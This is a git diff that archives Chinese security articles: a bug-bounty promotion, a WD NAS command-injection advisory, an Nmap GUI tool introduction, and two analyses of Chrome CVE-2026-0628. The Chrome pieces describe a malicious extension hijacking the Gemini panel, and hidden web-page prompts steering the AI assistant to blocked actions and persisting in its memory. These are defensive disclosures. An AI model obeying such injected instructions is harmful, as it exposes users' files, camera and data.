diff --git a/data.json b/data.json index 75ab4163..081edf8f 100644 --- a/data.json +++ b/data.json @@ -18427,5 +18427,28 @@ "https://mp.weixin.qq.com/s/q_VUL8a-ZVsULxPlMJJN3Q": "专业的文件上传漏洞检测工具 | 支持263+绕过技术、代理抓包、动态扫描", "https://mp.weixin.qq.com/s/744SDALyf_zgy2TSRP5Wgg": "漏洞预警 | 天地伟业Easy7文件上传漏洞", "https://mp.weixin.qq.com/s/cw1gfQOxe4ZSXgUGuIdIoA": "为了过个上传漏洞，我换了三个环境：一个安全菜鸟的踩坑实录——Upload-Labs 5-8关排坑记", - "https://mp.weixin.qq.com/s/PTUKngfyBAlPzef3B4X1mA": "漏洞报告处理平台 - 支持Nuclei∕Xray∕自定义txt报告导入，AI驱动的安全漏洞管理与分析系统" + "https://mp.weixin.qq.com/s/PTUKngfyBAlPzef3B4X1mA": "漏洞报告处理平台 - 支持Nuclei∕Xray∕自定义txt报告导入，AI驱动的安全漏洞管理与分析系统", + "https://mp.weixin.qq.com/s/D4EitBJ-jhJGwXvnH0HfLA": "2026元宵福利来袭：漏洞奖金翻倍，陌陌SRC邀你共庆佳节！", + "https://mp.weixin.qq.com/s/GZ9_4jqRD2mdgrLprhgk4A": "雷神众测漏洞周报2026.2.9-2026.3.1", + "https://mp.weixin.qq.com/s/8_wsvlbEW4ss8Z4T8fQPGg": "记一次某大型oa前台0day挖掘", + "https://mp.weixin.qq.com/s/kCh7mBZMxehhyIgBI5rU8A": "FastNmap - Nmap告别命令行可视化资产发现 · 漏洞检测 · 报告生成", + "https://mp.weixin.qq.com/s/tiR1ZwrmnumeOwm6yctGkA": "从侦察到利用：攻击者如何发现、利用和串联Web应用程序漏洞——以及防御者如何检测和阻止它们", + "https://mp.weixin.qq.com/s/4Ceu8kxpf5lKZ1nTJNYPpw": "HSC Mailinspector 路径遍历漏洞(CVE-2024-34470) 附POC", + "https://mp.weixin.qq.com/s/9ujiCdBcoIQkknRwj7KLKA": "记一次SRC漏洞挖掘：万能验证码与任意用户密码重置之旅", + "https://mp.weixin.qq.com/s/99JxwoFzyn-zl7dFZNA8jA": "那个凌晨，我终于挖到了人生第一个漏洞", + "https://mp.weixin.qq.com/s/xi-XEP0V3i1XtXDc91gnqg": "【已复现】漏洞通告 | 青龙面板未授权命令注入漏洞", + "https://mp.weixin.qq.com/s/9E8JddipF5-jOCzi1bVO8Q": "【漏洞预警】0day 青龙面板 最新版本 鉴权绕过导致 RCE", + "https://mp.weixin.qq.com/s/gBDs3NOYgiSgRrEflYJ4zw": "【在野利用】青龙面板未授权命令注入漏洞", + "https://mp.weixin.qq.com/s/7q_bTJ-NsPsOmAPOHZ_yqQ": "【案例分享】某SRC SSRF漏洞分享", + "https://mp.weixin.qq.com/s/ru5jPwEt5CX3ndFZKZv2ww": "热网无线监测系统 RealTimeOther.asmx SQL注入漏洞", + "https://mp.weixin.qq.com/s/fftGnpspnYeUj66jbiUpUA": "用户名枚举漏洞并可被利用导致账户被恶意封禁算不算漏洞", + "https://mp.weixin.qq.com/s/iWqARz5yCFpYKdzV4xpClA": "我如何利用 LLM 多 Agent 工作流挖掘开源项目 0-day 漏洞", + "https://mp.weixin.qq.com/s/yF1zeXGPEnDzMosAssqAlQ": "springboot环境下的写文件RCE——so加载篇", + "https://mp.weixin.qq.com/s/ghXSVnnqe8B0QiqDXaKp2A": "Chrome 新漏洞允许恶意扩展程序通过 Gemini 面板提升权限", + "https://mp.weixin.qq.com/s/0z4Dt5KzOoen9deKwlSCyw": "针对 Windows 错误报告的 ALPC 权限提升漏洞利用程序已发布", + "https://mp.weixin.qq.com/s/SbnAGTwI7V5cZOF-7dBdzA": "LLM驱动的多智能体协同漏洞挖掘与PoC验证框架", + "https://mp.weixin.qq.com/s/GGfhh7mmy6kNqyychBOelA": "Chrome高危零日漏洞CVE-2026-0628深度分析：恶意扩展如何借AI之势窃取你的本地文件", + "https://mp.weixin.qq.com/s/ZEMMRqA1-hr2UZKIh0vQyA": "CVE-2025-30247 | 无界安全成员发现西部数据高危漏洞", + "https://mp.weixin.qq.com/s/PME9OXsdCaidSTxCbpE3Xg": "什么是自带漏洞驱动 (BYOVD) 攻击?", + "https://mp.weixin.qq.com/s/COJMTSv9xQdb_8mNWUkplQ": "OpenClaw高危漏洞ClawJacked深度解析：当浏览器成为内网渗透的跳板" } \ No newline at end of file diff --git a/doc/2026-03/2026元宵福利来袭：漏洞奖金翻倍，陌陌SRC邀你共庆佳节！.md b/doc/2026-03/2026元宵福利来袭：漏洞奖金翻倍，陌陌SRC邀你共庆佳节！.md new file mode 100644 index 00000000..113d4b00 --- /dev/null +++ b/doc/2026-03/2026元宵福利来袭：漏洞奖金翻倍，陌陌SRC邀你共庆佳节！.md @@ -0,0 +1,159 @@ +# 2026元宵福利来袭：漏洞奖金翻倍，陌陌SRC邀你共庆佳节！ +陌陌安全 + 陌陌安全 陌陌安全 2026-03-03 07:04 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aS4DWqW8icA453Q1m2ChSHNcEZdegs3aIgVQj5QOfl6m6BA32kvuicZWvXy967WiagKuf864s5RAd51J3Sew6r4ZWjiahZNsDN3b5xYrkNwkKDk/640?wx_fmt=png&from=appmsg "") + +元宵吃汤圆 + +漏洞赢奖金 + +_momo_ + + +**PART.1** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aS4DWqW8icA73GF1hWYGf0ia6lPx65H3BjEJqMbxRD81xicpmKq7Jx9gSP11zNtiaFnU4gVu8CdaycZvSjXrLhkzCW45x34A0dro94ZPPJ2v8aY/640?wx_fmt=png&from=appmsg "") + + +**赏金翻倍** + +元宵喜乐，马到功成！2026 年的第一场福利，从这碗热气腾腾的汤圆开始！🍡 +废话不多说，2026 开年首场活动正式上线！ + + +**活动时间：2026/3/3     15:00** + +**2026/3/15    23:59:59** + + +**业务范围：** + +下版业务范围是最新更新的业务范围，大家可以戳戳 + +详见业务范围汇总公告👉🔗  +[业务范围汇总及奖励机制汇总](https://mp.weixin.qq.com/s?__biz=MzI2OTYzOTQzNw==&mid=2247488965&idx=1&sn=690402cc77feac87b4e08fa7192e52dc&scene=21#wechat_redirect) + + + +**01** + +**核心、一般业务** + + +![](https://mmbiz.qpic.cn/mmbiz_png/aS4DWqW8icA6ZswqIuTJiaQz0AgCuib8zoSHYG6DUSsOEgrUgRYibzAphwHYqZMYkpItUnMibjiccjf1J92nVoAvFMtGtBRUg8ozXPiaa665DRrqBs/640?wx_fmt=png&from=appmsg "") + + +严重漏洞 & 情报（客户端除外），积分3倍暴击！ + +高危漏洞 & 情报（客户端除外），积分2.5倍暴击！ + +中危漏洞 & 情报（客户端除外），积分2倍暴击！ + +低危漏洞 & 情报（客户端除外），积分1.5倍暴击！ + +**02** + +**边缘业务** + + +![](https://mmbiz.qpic.cn/mmbiz_png/aS4DWqW8icA65YOia7JfuIMGOR2FnjKFMeILicxKLoEWpF64XicU4ZoAG2rMRtIMSia157lKkKYWqZ77ibEUfZZQyiamHFUQ6iak58NkI9RAoibsgf7Y/640?wx_fmt=png&from=appmsg "") + + +严重、高危漏洞 & 情报（客户端除外），积分2倍暴击！ + +积分加成 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aS4DWqW8icA7xia6z8F2ndrib2dKRyNXMMB8sWaBM7SY3ibKiaRhadmB9xavHia5uTGlPJ8TBMnWeaI7LzicF4EhBu7hL70BSx5QWls2qrvDAQ6s2A/640?wx_fmt=png&from=appmsg "") + +*表格为加成后的收益 单位： 元* + + +**PART.2** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aS4DWqW8icA4ibagOttprDUpxfVNe5sEJWCqWX7bDV5TgKdBNicWiaZUS3kKiaCdwhuTxIljK72icbCyg8e8eAXgfHJsIiam2lNzBTwjSRIbBd35Kk/640?wx_fmt=png&from=appmsg "") + + +**额外福利** + +只要提交**有效** +漏洞 & 情报，无论等级，个个都有额外奖励！ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aS4DWqW8icA4UXq1tafp8po29oFaBI17Z2AyIkcAORPPhEXXVKUZrmHnJWXhVIx8kpXdNeSuny2NNIJq7qYUyyRBjZxC0HWHb4IpIYPcVAvk/640?wx_fmt=png&from=appmsg "") + +（一个id仅限领取一个） + + +**PART.3** + +![](https://mmbiz.qpic.cn/mmbiz_png/aS4DWqW8icA5h5NFg419icv3mp2QsFxt7Vw0yiaeKYOvjoFhIEkWSicCZJ64mIp4sXdah8UAaR7q1icm5Oac11ycg3XBtfBaCo7BU9ZqI1okEicK8/640?wx_fmt=png&from=appmsg "") + + +**奖励体系** + +      陌陌SRC采用基础奖励+升级奖励+季度抽奖的奖励加成体系，详情请见 👉🔗 [奖励体系&来个总结](https://mp.weixin.qq.com/s?__biz=MzI2OTYzOTQzNw==&mid=2247484679&idx=1&sn=b1cee4a19996c35a8768b7f88d53ba5c&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aS4DWqW8icA5yeaicEWOqF215mEB7PMdnCNibWTnT9EhrWGnDSLPicjakU5YomYsKvBMuWEufq1t6MVicBCUoP286sxrjlhAJpvx7xtdicrkxTjw8/640?wx_fmt=png&from=appmsg "") + +每个季度为一个周期，无任何活动的情况下，奖励最高2.5倍buff加成+额外升级奖励最高4000元+季度末惊喜抽奖。 + +（活动期间如遇多个活动重叠，将按照最高奖励标准发放，不同活动不叠加享受，仅可选取其中一种活动规则参与，**客户端不参与** +） + +**PART.4** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aS4DWqW8icA5P8EX49LN1iaF8QcA8ib7j1ksRkUDFxUUhIicLibrQ3fvXwEZ57kHVTuwbnIsh6GgHmhRloibxAVLKkCV5bujM85CHHfPB8grSpUHI/640?wx_fmt=png&from=appmsg "") + + +**限时福利** + +“九”逢知己，感恩同行！除了精美的元宵好礼，更有 9 周年限定奖金卡限时放送！今年的奖金池诚意拉满，各位白帽大神，准备好策马扬鞭，赢取大奖了吗？👇 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aS4DWqW8icA7X4ttgWU9tB5brFc6vC9rAz5xSfzo0vlsQvzWIkaNYUF24VgCy4zoFuvCx5x3RyxiaD0BSOOeIP60oy59Oibias5xEozoXMuMD6I/640?wx_fmt=png&from=appmsg "") + + +9 周年前夕诚意拉满，凡属于Soulchill、Yaahlan、Amar业务的有效漏洞与情报，均可额外获赠同等级周年庆奖金卡，多提多得！ + +![](https://mmbiz.qpic.cn/mmbiz_png/aS4DWqW8icA5YHoYPHTt3Jd6732wZXCykBrcn2ZFghsZ5jp9l0FIqVAeGz2l2XfeGsGyMeRlLvVNJQ8QsN5VnYb2za1iaibkib3F6ibTSxzOuThk/640?wx_fmt=png&from=appmsg "") + +具体使用规则： + +活动期间，Soulchill、Yaahlan、Amar业务的有效漏洞&情报，每一个都送对应等级奖金卡一张，奖金卡可在周年庆期间与同等级漏洞叠加兑换现金~ + + +About MMSRC + +![](https://mmbiz.qpic.cn/mmbiz_gif/aS4DWqW8icA7KZMHPFV99YicVIThJe9q4t3y8ohK1Dhd8efvGzuE7kR1l4xW1OtbaVaTZNFib9oja82IibmZibLtrHErDu027oibNtyMGLvaNKSUE/640?wx_fmt=gif&from=appmsg "") + +陌陌安全应急响应中心 + +（MMSRC，MOMO Security Response Center） + +是陌陌安全建立的安全漏洞收集及安全应急响应平台，致力于保障陌陌旗下所有产品及用户信息安全，促进陌陌与白帽子及团队的交流合作。为感谢白帽子及团队为亿万陌陌用户信息安全做出的贡献，陌陌安全应急响应中心特别设立年度百万奖金池，单漏洞或情报奖励可达万元，活动期间可获取更高奖励。于此同时，我们会不定期组织、赞助安全会议等线下活动，为广大白帽子创造线下交流沟通机会。 + + +/   相  关  文  章   / + +[](https://mp.weixin.qq.com/s?__biz=MzI2OTYzOTQzNw==&mid=2247484679&idx=1&sn=b1cee4a19996c35a8768b7f88d53ba5c&scene=21#wechat_redirect) + +陌陌安全｜日常奖励体系 + +[](https://mp.weixin.qq.com/s?__biz=MzI2OTYzOTQzNw==&mid=2247488965&idx=1&sn=690402cc77feac87b4e08fa7192e52dc&scene=21#wechat_redirect) + +陌陌安全｜业务范围汇总 + + +![](https://mmbiz.qpic.cn/mmbiz_png/aS4DWqW8icA4hB33XpEKgPegMdgPOX0HKGYgLgmAPrVjl71EUn3XQnEkp02oCX8kuP8u1zAficbxvhZszaPx6UcCAmYhsgEcGQm6fgQhO7he8/640?wx_fmt=png&from=appmsg "") + +「陌陌安全」 + +扫上方二维码关注我们，惊喜不断哦 + + +M   O   M   O   S   E   C   U   R   I   T   Y + + + diff --git a/doc/2026-03/CVE-2025-30247 无界安全成员发现西部数据高危漏洞.md b/doc/2026-03/CVE-2025-30247 无界安全成员发现西部数据高危漏洞.md new file mode 100644 index 00000000..95845791 --- /dev/null +++ b/doc/2026-03/CVE-2025-30247 无界安全成员发现西部数据高危漏洞.md @@ -0,0 +1,78 @@ +# CVE-2025-30247 | 无界安全成员发现西部数据高危漏洞 +lyan + lyan 无界安全 2026-03-03 01:51 + +CVE-2025-30247 +  +CVSS 9.4 +  +命令注入漏洞 +## 一、喜讯 + +        +近日，无界安全团队成员  +w1th0ut + 在安全研究中发现西部数据（Western Digital）My Cloud NAS 设备存在一处高危命令注入漏洞**，CVSS评分为9.4分，是近年来影响该存储产品线最严重的安全问题之一。** +该漏洞已获得厂商确认并修复，相关贡献已在西部数据官方安全公告中获得致谢。 +## 二、漏洞详情 +### 漏洞信息 +
项目
内容
漏洞编号
CVE-2025-30247
漏洞类型
操作系统命令注入（OS Command Injection）
CVSS 评分
9.4 分（高危）
影响产品
西部数据 My Cloud NAS
影响版本
固件 5.31.108 之前版本
修复版本
固件 5.31.108
### 漏洞描述 + +根据西部数据官方安全公告： +> "西部数据 My Cloud NAS 平台 5.31.108 之前版本固件的用户界面存在操作系统命令注入漏洞，远程攻击者可通过特制的 HTTP POST 请求执行任意系统命令。" + +### 漏洞原理 + +该漏洞位于 My Cloud NAS 设备的 Web 管理界面中。由于对用户输入的过滤不严格，攻击者可以构造恶意的 HTTP POST 请求，将任意系统命令注入到设备底层操作系统中执行。 + +**攻击特征：** +- 无需物理接触设备 + +- 无需身份认证 + +- 可远程触发 + +- 执行权限高 + +## 三、潜在危害 + +该漏洞危害等级为**高危** +，对于依赖 My Cloud 进行文件存储和备份的企业及家庭用户，漏洞被利用后可能导致： +1. **设备完全沦陷** +：攻击者可获取 NAS 设备的 root 级控制权 + +1. **敏感数据泄露** +：设备中存储的文件、照片、备份等敏感信息可能被窃取 + +1. **横向渗透** +：攻击者可将受控 NAS 作为跳板，对本地网络发起进一步攻击 + +由于 NAS 设备通常为便利性开放远程访问，该漏洞的攻击面十分广泛，潜在影响范围较大。 +## 四、修复建议 + +西部数据已发布修复版本，**强烈建议所有 My Cloud NAS 用户立即升级** +： + +![](https://mmbiz.qpic.cn/mmbiz_png/zNq5LVeqcmTdcKCR4h2nglyibapGTWhiaSuIEL21Uq2xafVImrXXBibciasPIFLKoRibojIocf1RZ25lLT0kqZsojNkWfrIVDqrZFK8TIliayG6uI/640?wx_fmt=png&from=appmsg "") +### 升级步骤 +1. 登录 My Cloud NAS 管理界面 + +1. 进入「设置」→「固件更新」 + +1. 检查并安装 **5.31.108** + 或更高版本 + +1. 重启设备确保更新生效 + +## 参考链接 + +- [FreeBuf 报道](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651328316&idx=3&sn=45ad416cf6af93a97bd2eb129d653295&scene=21#wechat_redirect) + + + +**无界安全** + - 专注网络安全研究 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNq5LVeqcmQdUGnlZrGc678p0Kv3U5EgcnjqDYgluibvpOj1PCdniaGhyogOQ1YW0IMoaMCOurmicoIVwmKCZtZ7y12BGbsibsK6gqBPEjicfX1g/640?wx_fmt=jpeg&from=appmsg "") + + diff --git a/doc/2026-03/Chrome 新漏洞允许恶意扩展程序通过 Gemini 面板提升权限.md b/doc/2026-03/Chrome 新漏洞允许恶意扩展程序通过 Gemini 面板提升权限.md new file mode 100644 index 00000000..6528abed --- /dev/null +++ b/doc/2026-03/Chrome 新漏洞允许恶意扩展程序通过 Gemini 面板提升权限.md @@ -0,0 +1,36 @@ +# Chrome 新漏洞允许恶意扩展程序通过 Gemini 面板提升权限 +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-03-03 04:15 + +网络安全研究人员披露了谷歌 Chrome 浏览器中一个现已修复的安全漏洞的细节，该漏洞可能允许攻击者提升权限并访问系统上的本地文件。 + +该漏洞编号为**CVE-2026-0628**（CVSS 评分：8.8），被描述为 WebView 标签中策略执行不足的问题。谷歌已于 2026 年 1 月初在 Windows/Mac 版本 143.0.7499.192/.193 和 Linux 版本 143.0.7499.192 中修复了该漏洞。 + +根据美国国家标准与技术研究院 (NIST) 国家漏洞数据库 (NVD) 上的描述，“143.0.7499.192 之前的 Google Chrome 中的 WebView 标签策略执行不足，使得攻击者能够诱使用户安装恶意扩展程序，并通过精心构造的 Chrome 扩展程序将脚本或 HTML 注入到特权页面中。” + +Palo Alto Networks Unit 42 的研究员 Gal Weizman 于 2025 年 11 月 23 日发现并报告了该漏洞。她表示，该漏洞可能允许拥有基本权限的恶意扩展程序控制 Chrome 浏览器中新增的Gemini Live 面板。用户可以通过点击浏览器窗口顶部的 Gemini 图标来启动该面板。谷歌于 2025 年 9 月将 Gemini 集成到 Chrome 浏览器中。 + +攻击者可能利用这种攻击来提升权限，从而在未经受害者许可的情况下访问其摄像头和麦克风，截取任何网站的屏幕截图，以及访问本地文件。 + +研究结果凸显了一种新兴的攻击途径，即通过直接将人工智能 (AI) 和代理功能集成到 Web 浏览器中，以促进实时内容摘要、翻译和自动任务执行，因为这些功能可能会被滥用以执行特权操作。 + +问题的核心在于，需要授予这些人工智能代理对浏览环境的特权访问权限以执行多步骤操作，这便成了一把双刃剑：攻击者在恶意网页中嵌入隐藏提示，并通过社会工程或其他手段诱骗受害者用户访问该网页。 + +该提示可能会指示人工智能助手执行浏览器通常会阻止的操作，从而导致数据泄露或代码执行。更糟糕的是，网页还可以操纵助手将这些指令存储在内存中，使其跨会话持续存在。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BicXBAdicJy7PDw1egNibl05dVF2stlVZiab1tNZNk7DrB8yq4YqMOxKVMz4xtGxBJFPoBJXJD6BW8EWjWGgjzPL3FVPMSFibJ3wibX1hYV49f9Eg/640?wx_fmt=png&from=appmsg "") + +除了扩大攻击面之外，Unit 42 还表示，在智能浏览器中集成 AI 侧面板会带来经典的浏览器安全风险。 + +魏兹曼表示：“通过将这个新组件置于浏览器的高权限环境中，开发者可能会无意中引入新的逻辑缺陷和实现漏洞。这可能包括与跨站脚本攻击 (XSS)、权限提升和侧信道攻击相关的漏洞，这些漏洞可能被权限较低的网站或浏览器扩展程序利用。” + +虽然浏览器扩展程序是基于一组已定义的权限运行的，但成功利用 CVE-2026-0628 会破坏浏览器安全模型，并允许攻击者通过浏览器面板在“gemini.google[.]com/app”运行任意代码，从而访问敏感数据。 + +Weizman补充道：“通过声明式网络请求API访问基本权限集的扩展程序获得了可能使攻击者能够将JavaScript代码注入到新的Gemini面板中的权限。当Gemini应用程序加载到这个新的面板组件中时，Chrome会通过某种方式使其获得强大的功能。” + +值得注意的是，declarativeNetRequest API 允许扩展程序拦截并更改 HTTPS Web 请求和响应的属性。广告拦截扩展程序利用它来阻止向网页发送加载广告的请求。 + +换句话说，攻击者只需诱骗毫无戒心的用户安装一个精心制作的扩展程序，该扩展程序就可以将任意 JavaScript 代码注入 Gemini 侧面板，从而与文件系统交互、截屏、访问摄像头、打开麦克风——所有这些功能都是 AI 助手执行其任务所必需的。 + +“Gemini应用程序加载的组件类型不同，这正是设计使然与安全漏洞之间的分界线，”Unit 42表示。“扩展程序影响网站是意料之中的。但是，扩展程序影响浏览器内置组件则构成严重的安全风险。” + diff --git a/doc/2026-03/Chrome高危零日漏洞CVE-2026-0628深度分析：恶意扩展如何借AI之势窃取你的本地文件.md b/doc/2026-03/Chrome高危零日漏洞CVE-2026-0628深度分析：恶意扩展如何借AI之势窃取你的本地文件.md new file mode 100644 index 00000000..09deba83 --- /dev/null +++ b/doc/2026-03/Chrome高危零日漏洞CVE-2026-0628深度分析：恶意扩展如何借AI之势窃取你的本地文件.md @@ -0,0 +1,147 @@ +# Chrome高危零日漏洞CVE-2026-0628深度分析：恶意扩展如何借AI之势窃取你的本地文件 + 黑白之道 2026-03-03 01:43 + +> **导语** +：当Google将Gemini AI深度集成进Chrome浏览器时，一个潜藏的安全隐患正在悄然发酵。Palo Alto Networks Unit 42团队最新披露的高危漏洞CVE-2026-0628（CVSS评分8.8）揭示了AI时代浏览器安全的全新风险维度——恶意扩展程序可借助Gemini Panel的特权通道，实现本地文件窃取、摄像头/麦克风劫持、任意截图等高危操作。本文将深度剖析这一漏洞的技术原理与攻击路径。 + +## 漏洞概述 + +2026年1月初，Google紧急发布Chrome 143.0.7499.192/193版本更新，修复了一个被评定为**高危（High）的零日漏洞——CVE-2026-0628。该漏洞由Palo Alto Networks Unit 42研究员Gal Weizman于2025年11月23日发现并报告，其CVSS v3评分高达8.8** +，意味着攻击者可利用此漏洞在受影响的系统上执行特权操作，造成严重安全后果。 +
漏洞属性
详情
CVE编号
CVE-2026-0628
CVSS评分
8.8（高危）
漏洞类型
Insufficient Policy Enforcement（策略执行不足）
受影响组件
WebView标签 / Gemini Panel
修复版本
Chrome 143.0.7499.192+
发现时间
2025年11月23日
披露时间
2026年3月
## 技术原理 +### 根本成因：WebView标签策略执行缺陷 + +该漏洞的本质在于Chrome浏览器中**WebView标签的策略执行不足** +。WebView是Chrome扩展生态中用于渲染网页内容的组件，正常情况下应当受到严格的同源策略和内容安全策略（CSP）约束。然而，研究人员发现，在Gemini AI侧边Panel的集成过程中，该组件获得了超出常规扩展权限的特殊访问能力。 + +具体来说，恶意扩展可以利用这一缺陷，向高特权页面（privileged pages）注入脚本或HTML代码。而Gemini Panel正是运行在高特权上下文中——它承载了gemini.google.com/app +这一Google AI服务的核心界面，拥有访问浏览器底层API的能力。 +### AI集成带来的"双刃剑"效应 + +Gemini AI于2025年9月正式集成至Chrome浏览器，用户可通过浏览器顶部的Gemini图标快速呼出AI侧边Panel。这个设计本意是提供实时内容摘要、翻译和自动化任务执行等便利功能，但却在无意中开辟了新的攻击面。 + +Unit 42的研究指出："**通过将这一新组件置于浏览器的高特权上下文中，开发者可能在无意中创造了新的逻辑缺陷和实施弱点。** +"这种"AI代理"架构需要获取对浏览环境的特权访问才能执行多步骤操作，而这恰恰成为了攻击者可乘之机——当恶意页面中嵌入隐藏提示词（hidden prompts），并诱使用户通过社会工程学访问时，攻击链便由此展开。 +## 攻击场景 +### 攻击链完整还原 + +基于已披露的技术细节，CVE-2026-0628的攻击路径可还原如下： + +**第一步：诱导安装** + 攻击者通过钓鱼邮件、恶意广告或社交工程手段，诱导受害者安装一个伪装成正常工具（如天气插件、PDF阅读器等）的恶意Chrome扩展。 + +**第二步：权限获取** + 该恶意扩展仅需申请基本的浏览器权限（如读取网页内容），便可在后台静默运行。 + +**第三步：注入攻击** + 利用WebView标签的策略执行缺陷，恶意扩展向Gemini Panel的WebView上下文注入特制脚本或HTML负载。 + +**第四步：特权劫持** + 注入的代码在gemini.google.com/app +这一高特权域中执行，获得与Gemini AI同等的系统访问能力。 + +**第五步：恶意操作** + 攻击者此时可执行以下高危操作： +- 📸 **摄像头与麦克风访问** + — 在用户无感知的情况下开启影音录制 + +- 📷 **任意截图** + — 截取用户浏览的任何网站内容，包括银行账户、企业内网等敏感页面 + +- 📁 **本地文件读取** + — 窃取用户电脑上的本地文件，涵盖文档、密码库、密钥文件等 + +- 🔓 **权限提升** + — 突破浏览器沙箱限制，获得系统级访问能力 + +### "间接提示词注入"的持续性威胁 + +更为隐蔽的是，Unit 42此前研究表明，攻击者可通过**间接提示词注入（Indirect Prompt Injection）**技术，将恶意指令存储在AI的"长期记忆"中。这意味着即使用户仅在某一时段访问了恶意页面，后续Gemini AI交互中仍可能持续执行攻击者预设的指令，形成跨会话的持久化威胁。 +## 影响范围 +### 受影响的浏览器版本 +
平台
受影响版本
修复版本
Windows
Chrome < 143.0.7499.192
143.0.7499.193
macOS
Chrome < 143.0.7499.192
143.0.7499.192
Linux
Chrome < 143.0.7499.192
143.0.7499.192
### 用户风险评估 + +该漏洞对用户群体的潜在影响可按以下维度评估： + +**高风险群体：** +- 安装了大量浏览器扩展的企业用户 + +- 经常点击不明来源链接的普通用户 + +- 使用Chrome进行敏感操作（网银、企业系统登录）的用户 + +- 已启用Gemini AI侧边Panel功能的用户 + +**中等风险群体：** +- 严格管理扩展来源的用户 + +- 使用Chrome但未登录Google账号的用户（部分Gemini功能受限） + +## 修复建议 +### 立即行动项 +1. **升级浏览器至最新版本** + +1. 打开Chrome设置 → 关于Chrome → 检查更新 + +1. 确保版本号≥143.0.7499.192（可通过地址栏输入 chrome://version + 确认） + +1. **审查已安装扩展** + +1. 访问 chrome://extensions/ + +1. 移除来源不明、长期未使用或权限过于宽泛的扩展 + +1. 重点关注申请"读取和更改在所有网站上的数据"权限的扩展 + +1. **重置敏感权限** + +1. 对于保留的扩展，重新评估其权限申请是否必要 + +1. 在chrome://settings/content +中审查站点权限设置 + +### 长期防护策略 + +**企业安全团队应执行：** +- 通过Chrome企业策略（Chrome Enterprise Policies）集中管控扩展白名单 + +- 部署端点检测与响应（EDR）解决方案，监控异常浏览器行为 + +- 针对Gemini AI等内置AI功能进行风险评估与使用策略制定 + +**个人用户建议：** +- 仅从Chrome Web Store官方渠道安装扩展，避免侧载（sideload）未知来源的CRX文件 + +- 定期使用Chrome的「安全检查」功能（chrome://settings/safetyCheck +） + +- 对于高敏感操作，考虑使用无痕模式或独立的浏览器配置文件 + +### Monitor威胁情报 + +CVE-2026-0628的披露标志着AI与浏览器深度融合带来的新型安全挑战。建议安全从业者持续关注： +- NVD（National Vulnerability Database）对该漏洞的更新 + +- Palo Alto Networks Unit 42团队的后续研究 + +- Google Chrome Release Notes中的安全修复公告 + +## 结语 + +CVE-2026-0628漏洞的出现，为整个浏览器安全生态敲响了警钟。当AI能力被深度嵌入浏览器的核心架构时，传统的扩展权限模型和同源策略是否足以应对新型攻击向量？这不仅是一个技术问题，更是一个关乎未来Web安全的战略性命题。 + +对于「黑白之道」的读者而言，无论你是安全从业者还是普通用户，及时升级Chrome、审慎管理扩展权限，都是对这道"AI安全考题"的务实回应。毕竟，在数字时代，**安全意识本身就是最好的防火墙** +。 + +**参考来源：** +- Palo Alto Networks Unit 42 Research: "Gemini Live in Chrome: Hijacking High-Privilege AI Panels" + +- NIST National Vulnerability Database: CVE-2026-0628 + +- Chrome Releases Blog: Stable Channel Update for Desktop (January 2026) + +- The Hacker News: "New Chrome Vulnerability Let Malicious Extensions Escalate Privileges via Gemini Panel" + +本文技术分析基于公开披露信息，旨在提升安全意识。如有技术细节更新，请以官方安全公告为准。 + diff --git a/doc/2026-03/FastNmap - Nmap告别命令行可视化资产发现 · 漏洞检测 · 报告生成.md b/doc/2026-03/FastNmap - Nmap告别命令行可视化资产发现 · 漏洞检测 · 报告生成.md new file mode 100644 index 00000000..16ddfcd9 --- /dev/null +++ b/doc/2026-03/FastNmap - Nmap告别命令行可视化资产发现 · 漏洞检测 · 报告生成.md @@ -0,0 +1,119 @@ +# FastNmap - Nmap告别命令行可视化资产发现 · 漏洞检测 · 报告生成 +原创 0x八月 + 0x八月 0x八月 2026-03-03 04:10 + +# FastNmap - Nmap告别命令行可视化资产发现 · 漏洞检测 · 报告生成 + + +⚠️ + +    请勿利用文章内的相关技术从事 +**非法渗透测试** +，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。 +**工具和内容均来自网络，仅做学习和记录使用，安全性自测，如有侵权请联系删除。** + +⚠️注意：现在只对常读和星标的公众号才展示大图推送，建议大家把" +**0x八月** +"设为星标⭐️"否则可能就看不到了啦 +, +点击下方卡片关注我哦！ + +**💡项目地址在文章底部哦！** + + + + +## 📖 项目/工具简介 + +    FastNmap是Nmap的现代化图形界面工具，集成资产监控与漏洞扫描 +，适合网络管理员和安全研究人员使用。 +## 🚀 一句话优势 + +    通过可视化界面**降低Nmap使用门槛** +，实现资产监控与对比的自动化管理。 +## 📋 核心能力速览 + +
功能名称
一句话说明
多样化扫描
支持SYN/服务/系统/端口/暴力破解/漏洞扫描
资产监控
定期扫描检测网络拓扑变化
资产对比
可视化对比历史扫描差异
报告生成
输出HTML交互式报告
现代化界面
深色主题与响应式设计
+## 📸 运行截图 + +
功能模块
截图位置
主界面与扫描配置
资产监控标签页
资产对比与差异分析
HTML报告展示
+## ✨ 核心亮点 +1. 1 +资产全生命周期管理： +    不只是单次扫描工具，提供从发现、监控到对比的完整资产管理 +。支持定时任务持续追踪网络变化，自动标记新上线主机与开放端口，适合企业内网资产台账维护。 + +1. 2 +扫描结果可视化对比： +    内置资产对比功能，**通过差分算法直观展示两次扫描间的变化** +。支持HTML报告导出，包含嵌入式CSS样式，可直接作为渗透测试报告或合规检查附件提交。 + +1. 3 +零配置快速启动： +    自动检测系统Nmap安装路径（支持Windows/macOS/Linux多平台常见目录），内置常用端口组与扫描模板，无需记忆复杂参数即可执行专业扫描任务。 + +## 🛠️ 技术优势 + +
技术/特性
说明
优势
PyQt5 GUI
跨平台图形框架
界面响应快，支持深色主题
Nmap引擎
底层调用Nmap二进制
兼容所有Nmap脚本与功能
XML解析
结构化数据解析
精准提取端口服务信息
多线程调度
并发扫描执行
提升大规模资产扫描效率
模块化架构
核心与界面分离
便于二次开发与功能扩展
